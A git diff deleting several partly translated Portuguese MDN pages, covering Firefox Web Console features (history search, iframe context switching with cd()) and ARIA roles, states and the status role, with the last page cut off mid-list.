-<p><img alt="" src="https://mdn.mozillademos.org/files/16440/arrayList_autocomplete.png" style="border: 1px solid black; display: block; height: 271px; margin-left: auto; margin-right: auto; width: 800px;"></p>
-
-<p>You can enable or disable autocompletion via the Settings ("gear") menu in the Web Console toolbar. The menuitem <strong>Enable Autocompletion</strong> has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state.</p>
-
-<h2 id="Avaliação_instantânea">Avaliação instantânea</h2>
-
-<div class="blockIndicator note">
-<p>This feature is available in Firefox Nightly, in versions labeled 74 and later.</p>
-</div>
-
-<p>When the "instant evaluation" feature is enabled, the interpreter displays results of expressions as you're typing them in single-line mode. Note that the result might be an error message. Expressions that have side effects are not evaluated.</p>
-
-<p>You can enable or disable instant evaluation via the Settings ("gear") menu in the Web Console toolbar. The menuitem <strong>Instant Evaluation</strong> has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state.</p>
-
-<h2 id="Contexto_de_execução">Contexto de execução</h2>
-
-<p>Code that you have executed becomes part of the execution context, regardless of what editing mode you were in when you executed it. For example, if you type a function definition in the multi-line editor, and click <strong>Run</strong>, you can switch to single-line mode and still use your function.</p>
-
-<h2 id="Sintaxe_realçada">Sintaxe realçada</h2>
-
-<p><img alt="Console output showing syntax highlighting" src="https://mdn.mozillademos.org/files/16470/console_syntaxHighlighting.png" style="border: 1px solid black; display: block; height: 310px; margin-left: auto; margin-right: auto; width: 452px;"></p>
-
-<p>The text you enter has syntax highlighting as soon as you have typed enough for the highlighter to parse it and infer the meanings of the "words".</p>
-
-<p>The output is highlighted as well where appropriate.</p>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> Syntax highlighting is not visible in your browser if Accessibility features have been enabled.</p>
-</div>
-
-<h2 id="Histórico_de_execução">Histórico de execução</h2>
-
-<p>The interpreter remembers expressions you've typed. To move back and forward through your history:</p>
-
-<ul>
- <li>In single-line mode, use the up and down arrows. </li>
- <li>In multi-line mode, use the  <strong>⋀</strong> and <strong>⋁ </strong>icons in the editing panel's toolbar.</li>
-</ul>
-
-<p>The expression history is persisted across sessions. To clear the history, use the <code>clearHistory()</code> <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Helper_commands">helper function</a>.</p>
-
-<p>You can initiate a reverse search through the expression history, much like you can in bash on Linux and Mac or PowerShell on Windows. On Windows and Linux press <kbd>F9</kbd>. On Mac press <kbd>Ctrl</kbd>+<kbd>R</kbd> (<strong>note:</strong> not <kbd>Cmd</kbd>+<kbd>R</kbd>!) to initiate the reverse search.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16468/reverse_search.png" style="border: 1px solid black; display: block; height: 335px; margin: 0px auto; width: 500px;"></p>
-
-<p>Enter the text you want to search for in the input box at the bottom of the Console. Start typing part of the expression you are looking for and the first match is displayed in the console. Repeatedly typing <kbd>F9</kbd> on Windows and Linux ( <kbd>Ctrl</kbd>+<kbd>R</kbd> on Mac) cycles backwards through the matches.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16469/reverse_search_example.png" style="border: 1px solid black; display: block; margin: 0 auto;"></p>
-
-<p>Once you  have initiated the reverse search, you can use <kbd>Shift</kbd> + <kbd>F9</kbd> on Windows or Linux ( <kbd>Ctrl</kbd>+<kbd>S</kbd> on Mac) to search forward in the list of matches. You can also use the  <strong>⋀</strong> and <strong>⋁ </strong>icons in the expression search bar.</p>
-
-<p>When you find the expression you want, press <kbd>Enter</kbd> (<kbd>Return</kbd>) to execute the statement.</p>
-
-<h2 id="Trabalhar_com_iframes">Trabalhar com iframes</h2>
-
-<p>If a page contains embedded <a href="/en-US/docs/Web/HTML/Element/iframe">iframes</a>, you can use the <code>cd()</code> function to change the console's scope to a specific iframe, and then you can execute functions defined in the document hosted by that iframe. There are three ways to select an iframe using <code>cd()</code>:</p>
-
-<p>You can pass the iframe DOM element:</p>
-
-<pre class="brush: js">var frame = document.getElementById("frame1");
-cd(frame);</pre>
-
-<p>You can pass a CSS selector that matches the iframe:</p>
-
-<pre class="brush: js">cd("#frame1");</pre>
-
-<p>You can pass the iframe's global window object:</p>
-
-<pre class="brush: js">var frame = document.getElementById("frame1");
-cd(frame.contentWindow);
-</pre>
-
-<p>To switch the context back to the top-level window, call <code>cd()</code> with no arguments:</p>
-
-<pre class="brush: js">cd();</pre>
-
-<p>For example, suppose we have a document that embeds an iframe:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="UTF-8"&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;iframe id="frame1" src="static/frame/my-frame1.html"&gt;&lt;/iframe&gt;
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>The iframe defines a new function:</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="UTF-8"&gt;
- &lt;script&gt;
- function whoAreYou() {
- return "I'm frame1";
- }
- &lt;/script&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>You can switch context to the iframe like this:</p>
-
-<pre class="brush: js">cd("#frame1");</pre>
-
-<p>Now you'll see that the global window's document is the iframe:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7355/web-console-iframe-document.png" style="display: block; height: 75px; margin-left: auto; margin-right: auto; width: 632px;">And you can call the function defined in the iframe:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7357/web-console-iframe-function.png" style="display: block; height: 77px; margin-left: auto; margin-right: auto; width: 632px;"></p>
-
-<h2 id="Comando_da_Ajuda">Comando da Ajuda</h2>
-
-<p>{{ page("docs/Tools/Consola_da_Web/Ajuda", "Os comandos") }}</p>
diff --git a/files/pt-pt/tools/web_console/ui_tour/index.html b/files/pt-pt/tools/web_console/ui_tour/index.html
deleted file mode 100644
index 0a56f6b96f..0000000000
--- a/files/pt-pt/tools/web_console/ui_tour/index.html
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: Abrir a Consola da Web
-slug: Tools/Web_Console/UI_Tour
-tags:
- - consola da Web
-translation_of: Tools/Web_Console/UI_Tour
-original_slug: Tools/Consola_da_Web/Abertura_Consola_Web
----
-<div>{{ToolsSidebar}}</div>
-
-<p>Para abrir a 'Consola da Web':</p>
-
-<ul>
- <li>either select "Web Console" from the Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on Mac OS X)</li>
- <li>or press the <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>K</kbd> (<kbd>Command</kbd><kbd>Option</kbd><kbd>K</kbd> on OS X) keyboard shortcut.</li>
-</ul>
-
-<p>The <a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Toolbox</a> will appear at the bottom of the browser window, with the Web Console activated (it's just called "Console" in the <a href="/en-US/docs/Tools/DevTools_Window#Toolbar" title="/en-US/docs/Tools/DevTools_Window#Toolbar">DevTools toolbar</a>):</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16191/console_63.png" style="border: 1px solid black; display: block; margin: 0 auto; width: 845px;"></p>
-
-<p>A interface da 'Consola da Web' é dividida em três secções horizontais:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Web_Console/Console_messages#Filtering_by_category" title="#filtering-and-searching">Toolbar</a>: along the top is a toolbar containing two buttons. Click the garbage can button to clear the contents of the console. Click the funnel icon to filter the message that are displayed in the console</li>
- <li><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter" title="#command-line">Command Line</a>: the command line starts with double angle brackets (&gt;&gt;). Use it to enter JavaScript expressions</li>
- <li><a href="/en-US/docs/Tools/Web_Console/Console_messages" title="#message-display-pane">Message Display Pane</a>: the messages generated by the code in the page and by the commands entered on the command line are displayed following each command</li>
-</ul>
diff --git a/files/pt-pt/web/accessibility/aria/aria_techniques/index.html b/files/pt-pt/web/accessibility/aria/aria_techniques/index.html
deleted file mode 100644
index 34fa824f8c..0000000000
--- a/files/pt-pt/web/accessibility/aria/aria_techniques/index.html
+++ /dev/null
@@ -1,215 +0,0 @@
----
-title: 'Using ARIA: Roles, states, and properties'
-slug: Web/Accessibility/ARIA/ARIA_Techniques
-tags:
- - ARIA
- - Accessibility
- - NeedsTranslation
- - Overview
- - Reference
- - TopicStub
-translation_of: Web/Accessibility/ARIA/ARIA_Techniques
----
-<p class="summary">ARIA defines semantics that can be applied to elements, with these divided into <strong>roles</strong> (defining a type of user interface element) and <strong>states</strong> and <strong>properties</strong> that are supported by a role. Authors must assign an ARIA role and the appropriate states and properties to an element during its life-cycle, unless the element already has appropriate ARIA semantics (via use of an appropriate HTML element). Addition of ARIA semantics only exposes extra information to a browser's accessibility API, and does not affect a page's DOM.</p>
-
-<h2 id="Roles">Roles</h2>
-
-<h3 id="Widget_roles">Widget roles</h3>
-
-<div class="index">
-<ul>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/button_role" title="Using the button role">button</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/checkbox_role" title="Using the checkbox role">checkbox</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">gridcell</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_link_role" title="Using the Link role">link</a></li>
- <li>menuitem</li>
- <li>menuitemcheckbox </li>
- <li>menuitemradio</li>
- <li>option</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role" title="en/ARIA/ARIA_Techniques/Using_the_progressbar_role">progressbar</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">radio</a></li>
- <li>scrollbar</li>
- <li>searchbox</li>
- <li>separator (when focusable)</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role" title="en/ARIA/ARIA_Techniques/Using_the_slider_role">slider</a></li>
- <li>spinbutton</li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Switch_role">switch</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_Role">tab</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">tabpanel</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role" title="en/ARIA/ARIA_Techniques/Using_the_textbox_role">textbox</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treeitem_Role">treeitem</a></li>
-</ul>
-</div>
-
-<h3 id="Composite_roles">Composite roles</h3>
-
-<p>The techniques below describe each composite role as well as their required and optional child roles.</p>
-
-<div class="index">
-<ul>
- <li>combobox</li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Grid_Role">grid</a> (including <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Row_Role">row</a>, <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">gridcell</a>, rowheader, columnheader roles)</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="en/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a> (including option role)</li>
- <li>menu</li>
- <li>menubar</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">radiogroup (see radio role)</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tablist_Role">tablist</a> (including <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_Role">tab</a> and <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">tabpanel</a> roles)</li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tree_Role">tree</a></li>
- <li>treegrid</li>
-</ul>
-</div>
-
-<h3 id="Document_structure_roles">Document structure roles</h3>
-
-<div class="index">
-<ul>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Application_Role">application</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Article_Role" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role">article</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Cell_Role">cell</a></li>
- <li>columnheader</li>
- <li>definition</li>
- <li>directory</li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Document_Role">document</a></li>
- <li>feed</li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Figure_Role">figure</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_group_role" title="en/ARIA/ARIA_Techniques/Using_the_group_role">group</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/heading_role">heading</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Role_Img">img</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/List_role">list</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Listitem_role">listitem</a></li>
- <li>math</li>
- <li>none</li>
- <li>note</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role" title="en/ARIA/ARIA_Techniques/Using_the_presentation_role">presentation</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Row_Role">row</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Rowgroup_Role">rowgroup</a></li>
- <li>rowheader</li>
- <li>separator</li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Table_Role">table</a></li>
- <li>term</li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/textbox_role">textbox</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_toolbar_role" title="en/ARIA/ARIA_Techniques/Using_the_toolbar_role">toolbar</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tooltip_Role">tooltip</a></li>
-</ul>
-</div>
-
-<h3 id="Landmark_roles">Landmark roles</h3>
-
-<div class="index">
-<ul>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_banner_role" title="en/ARIA/ARIA_Techniques/Using_the_banner_role">banner</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Complementary_role">complementary</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Contentinfo_role">contentinfo</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Form_Role">form</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">main</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Navigation_Role">navigation</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Region_role">region</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Search_role">search</a></li>
-</ul>
-</div>
-
-<h3 id="Live_Region_Roles">Live Region Roles</h3>
-
-<div class="index">
-<ul>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Alert_Role">alert</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_log_role" title="Using the Log role">log</a></li>
- <li>marquee</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role" title="Using the link role">status</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/ARIA_timer_role">timer</a></li>
-</ul>
-</div>
-
-<h3 id="Window_Roles">Window Roles</h3>
-
-<div class="index">
-<ul>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role">alertdialog</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/dialog_role">dialog</a></li>
-</ul>
-</div>
-
-<h2 id="States_and_properties">States and properties</h2>
-
-<h3 id="Widget_attributes">Widget attributes</h3>
-
-<div class="index">
-<ul>
- <li>aria-autocomplete</li>
- <li>aria-checked</li>
- <li>aria-current</li>
- <li>aria-disabled</li>
- <li>aria-errormessage</li>
- <li>aria-expanded</li>
- <li>aria-haspopup</li>
- <li>aria-hidden</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute" title="Using the aria-invalid attribute">aria-invalid</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute" title="Using the aria-labelledby attribute">aria-label</a></li>
- <li>aria-level</li>
- <li>aria-modal</li>
- <li>aria-multiline</li>
- <li>aria-multiselectable</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute">aria-orientation</a></li>
- <li>aria-placeholder</li>
- <li>aria-pressed</li>
- <li>aria-readonly</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute" title="Using the aria-required property">aria-required</a></li>
- <li>aria-selected</li>
- <li>aria-sort</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute" title="Using the aria-required attribute">aria-valuemax</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute">aria-valuemin</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute">aria-valuenow</a></li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute">aria-valuetext</a></li>
-</ul>
-</div>
-
-<h3 id="Live_region_attributes">Live region attributes</h3>
-
-<div class="index">
-<ul>
- <li>aria-live</li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-relevant_attribute">aria-relevant</a></li>
- <li>aria-atomic</li>
- <li>aria-busy</li>
-</ul>
-</div>
-
-<h3 id="Drag_drop_attributes">Drag &amp; drop attributes</h3>
-
-<div class="index">
-<ul>
- <li>aria-dropeffect</li>
- <li>aria-dragged</li>
-</ul>
-</div>
-
-<h3 id="Relationship_attributes">Relationship attributes</h3>
-
-<div class="index">
-<ul>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-activedescendant_attribute" title="Role">aria-activedescendant</a></li>
- <li>aria-colcount</li>
- <li>aria-colindex</li>
- <li>aria-colspan</li>
- <li>aria-controls</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="Using the aria-labelledby attribute">aria-describedby</a></li>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA/Annotations#Associating_annotated_elements_with_their_details">aria-details</a></li>
- <li>aria-errormessage</li>
- <li>aria-flowto</li>
- <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></li>
- <li>aria-owns</li>
- <li>aria-posinset</li>
- <li>aria-rowcount</li>
- <li>aria-rowindex</li>
- <li>aria-rowspan</li>
- <li>aria-setsize</li>
-</ul>
-</div>
-
-<h3 id="MicrosoftEdge-specific_properties">MicrosoftEdge-specific properties</h3>
-
-<div class="index">
-<ul>
- <li><a href="/en-US/docs/Web/API/x-ms-aria-flowfrom">x-ms-aria-flowfrom</a> {{Non-standard_Inline}}</li>
-</ul>
-</div>
diff --git a/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html b/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html
deleted file mode 100644
index 300b0906fc..0000000000
--- a/files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Utilizar o role status
-slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role
-tags:
- - ARIA
- - Acessibilidade
- - RequerConteúdo
-translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role
-original_slug: Web/Accessibility/ARIA/ARIA_Techniques/Usando_o_role_status
----
-<h3 id="Descrição">Descrição</h3>
-
-<p class="p1">Esta técnica demonstra como usar o <em>role</em> <em><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#status">status</a>,</em> e descreve ainda o seu impacto em browsers e tecnologia assistiva.</p>
-
-<p class="p1">O <em>role</em> <em>status </em>é um tipo de <em><a class="external" href="http://www.w3.org/WAI/PF/aria/terms#def_liveregion">live region</a></em> para avisos que não são suficientemente importantes para constarem de um <em><a class="external" href="https://www.w3.org/TR/wai-aria-practices/#alert">alert</a>.</em> Tais avisos são normalmente apresentados como uma barra de estado. Quando o <em>role</em> é adicionado ao elemento, o <em>browser</em> envia um evento de estado para produtos de tecnologia assitiva, que por sua vez podem alertar o utilizador.</p>
-
-<p class="p1">Informação de <em>status</em> tem de ser fornecida num objeto de <em>status</em>, objeto este que não deve poder ser focado. Se outra parte da página controla o que aparece como <em>status</em>, deve-se utilizar o atributo <a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties#aria-controls">aria-controls</a> para relacionar essa parte da página com o objeto de <em>status</em>.</p>
-
-<p class="p1">Produtos de tecnologias assistiva podem reservar determinadas células de uma tela Braille para exibir o <em>status</em>.</p>
-
-<h3 id="Possível_impacto_em_user_agents_e_tecnologia_assistiva">Possível impacto em <em>user agents</em> e tecnologia assistiva </h3>
-
-<p class="p1">Quando o <em>role status </em>é adicionado a um elemento, ou quando esse elemento fica visível, o <em>user agent</em> deve:</p>
-
-<ul class="ul1">
- <li class="li2">Expôr o elemento como tendo um <em>role</em> de <em>status</em> através da API de acessibilidade do sistema operativo. </li>
- <li class="li2">Emitir um evento <em>status</em> acessível através da API de acessibilidade do sistema operativo, se possível.</li>
-</ul>
-
-<p class="p1">Produtos de tecnologia assistiva devem captar o evento de estado e notificar o utilizador adequadamente:</p>
-
-<ul class="ul1">
- <li class="li2">Leitores de ecrã (<em>screen readers</em>) podem implementar uma tecla especial para anunciar o <em>status</em> atual, apresentando assim o conteúdo de uma <em>live region</em> de <em>status</em>. Estes devem ser anunciados apenas quando o utilizador está inativo, a menos que se tenha definido o atributo <em><span class="s1">aria-live=”assertive”</span></em><span class="s1">,</span> caso em que o utilizador pode ser interrompido. </li>
- <li class="li2">Ampliadores de ecrã (<em>screen magnifiers</em>) poderão aumentar o tamanho do <em>status</em>.</li>
-</ul>
-
-<div class="note"><strong>Nota:</strong> Opiniões sobre como produtos de tecnologia assistiva lidam com esta técnica podem variar. A informação acima é apenas uma dessas opiniões, pelo que não pode ser considerada normativa.</div>
-
-<h3 id="Exemplos">Exemplos</h3>
-
-<h4 id="Exemplo_1_Adicionar_o_role_status_em_HTML">Exemplo 1: Adicionar o <em>role</em> <em>status</em> em HTML</h4>
-
-<p class="p1">O <em>snippet</em> em baixo mostra como se pode adicionar o <em>role </em>de <em>status</em> diretamente em código HTML. </p>
-
-<pre class="brush: html notranslate">&lt;p role="status"&gt;Your changes were automatically saved.&lt;/p&gt; </pre>
-
-<h4 id="Exemplos_a_Correr">Exemplos a Correr:</h4>
-
-<ul>
-</ul>
-
-<h3 id="Notas">Notas </h3>
-
-<h3 id="Atribuos_ARIA_utilizados">Atribuos ARIA utilizados</h3>
-
-<ul>
- <li class="p1"><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#status">status</a></li>
-</ul>
-
-<h3 id="Técnicas_ARIA_relacionadas">Técnicas ARIA relacionadas </h3>
-
-<ul>
- <li class="p1"><a class="external" href="https://www.w3.org/TR/wai-aria-practices/#alert">o <em>role alert</em></a></li>
- <li class="p1"><a href="https://www.w3.org/TR/wai-aria-1.1/#live_region_roles"><em>Roles </em>de <em>Live Region</em></a></li>
- <li class="p1"><a href="https://www.w3.org/TR/wai-aria-1.1/#attrs_liveregions">Atributos de <em>Live Region</em></a></li>
-</ul>
-
-<h3 id="Compatibilidade">Compatibilidade</h3>
-
-<ul>
- <li class="comment">
- <p>The Paciello Group publicou dados sobre da compatibilidade deste <em>role</em> num artigo de 2014: <em><a href="https://developer.paciellogroup.com/blog/2014/03/screen-reader-support-aria-live-regions/">Screen reader support for ARIA live regions</a></em></p>
- </li>
- <li class="comment">
- <p>A determinar: Adicionar informação atualizada sobre combinações comuns de produtos de tecnologia assistiva com<em>user agents</em></p>
- </li>
-</ul>
-
-<h3 id="Mais_recursos">Mais recursos</h3>
-
-<ul>
- <li class="p1">Recomendações anteriores da <a href="https://www.w3.org/TR/wai-aria-1.1/#status">WAI-ARIA 1.0 (2014)</a> para o <em>role</em> <em>status</em></li>
-</ul>
diff --git a/files/pt-pt/web/accessibility/aria/index.html b/files/pt-pt/web/accessibility/aria/index.html
deleted file mode 100644
index 3544038b4b..0000000000
--- a/files/pt-pt/web/accessibility/aria/index.html
+++ /dev/null
@@ -1,123 +0,0 @@
----
-title: ARIA
-slug: Web/Accessibility/ARIA
-tags:
- - ARIA
- - Acessibilidade
- - Web
-translation_of: Web/Accessibility/ARIA
-original_slug: Web/Acessibilidade/ARIA
----
-<p><span class="seoSummary"><em>Accessible Rich Internet Applications</em> <strong>(ARIA)</strong> </span> define as maneiras para tornar o conteúdo da Web e aplicações da Web (especialmente aqueles desenvolvidos com Ajax e JavaScript) mais acessíveis para as pessoas com deficiência. Por exemplo, ARIA permite marcos de navegação acessíveis, widgets de JavaScript, dicas de formulário e mensagens de erro, atualizações de conteúdo <em>live</em> e muito mais.</p>
-
-<p>ARIA é um conjunto de atributos de acessibilidade especiais que podem ser adicionados a qualquer marcação, mas é especialmente adequado para HTML. . O atributo <code>role</code> define que tipo geral de objeto é (tais como um artigo, alerta, ou cursor). Os atributos ARIA adicionais fornecem outras propriedades úteis, tais como uma descrição para um formulário ou o valor atual de uma barra de progresso.</p>
-
-<p>ARIA é implementado na maioria dos navegadores populares e leitores de ecrã. No entanto, as implementações variam e as tecnologias mais antigas não o suportam bem (se for o caso). Utilize ARIA 'seguro' que se degrada graciosamente, ou peça aos utilizadores que atualizem para a nova tecnologia.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: por favor, contribua e melhore ARIA para a próxima pessoa! Não tem tempo? Envie as sugestões para a <a href="https://lists.mozilla.org/listinfo/accessibility">lista de endereços de acessibilidade da </a> Mozilla, ou canal <a href="https://wiki.mozilla.org/IRC">IRC</a> #accessibility.</p>
-</div>
-
-<div class="row topicpage-table">
-<div class="section">
-<h3 id="Iniciação_com_ARIA">Iniciação com ARIA</h3>
-
-<dl>
- <dt><a href="/en-US/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets">Introduction to ARIA</a></dt>
- <dd>A quick introduction to making dynamic content accessible with ARIA. See also the classic <a class="external" href="http://dev.opera.com/articles/view/introduction-to-wai-aria/">ARIA intro by Gez Lemon</a>, from 2008.</dd>
- <dt><a href="/en-US/docs/Accessibility/ARIA/Web_applications_and_ARIA_FAQ">Web Applications and ARIA FAQ</a></dt>
- <dd>Answers common questions about WAI-ARIA and why it's needed to make web applications accessible.</dd>
- <dt><a class="external" href="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/">Videos of Screen Readers Using ARIA</a></dt>
- <dd>See both real and simplified examples from around the web, including "before" and "after" ARIA videos.</dd>
- <dt><a class="external" href="https://w3c.github.io/using-aria/">Using ARIA</a></dt>
- <dd>A practical guide for developers. It suggests what ARIA attributes to use on HTML elements. Suggestions are based on implementation realities.</dd>
-</dl>
-
-<h3 id="Melhoramentos_ARIA_Simples">Melhoramentos ARIA Simples</h3>
-
-<dl>
- <dt><a class="external" href="https://www.paciellogroup.com/blog/2013/02/using-wai-aria-landmarks-2013/">Enhancing Page Navigation with ARIA Landmarks</a></dt>
- <dd>A nice intro to using ARIA landmarks to improve web page navigation for screen reader users. <a class="external" href="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/">See also, ARIA landmark implementation notes</a> and examples on real sites (updated as of July 2011).</dd>
- <dt><a href="/en-US/docs/ARIA/forms">Improving Form Accessibility</a></dt>
- <dd>ARIA is not just for dynamic content! Learn how to improve accessibility of HTML forms using additional ARIA attributes.</dd>
- <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions" title="Live Regions">Live regions (work-in-progress)</a></dt>
- <dd>Live regions provide suggestions to screen readers about how to handle changes to the contents of a page.</dd>
- <dt><a class="external" href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">Using ARIA Live Regions to Announce Content Changes</a></dt>
- <dd>A quick summary of live regions, by the makers of JAWS screen reader software. Live regions are also supported by NVDA with Firefox, and VoiceOver with Safari.</dd>
-</dl>
-
-<h3 id="ARIA_para_Widgets_Scripted">ARIA para <em>Widgets Scripted</em></h3>
-
-<dl>
- <dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Keyboard Navigation and Focus for JavaScript Widgets</a></dt>
- <dd>The first step in developing an accessible JavaScript widget is to make it keyboard navigable. This article steps through the process. The <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">Yahoo! focus management article</a> is a great resource as well.</dd>
- <dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/">Style Guide for Keyboard Navigation</a></dt>
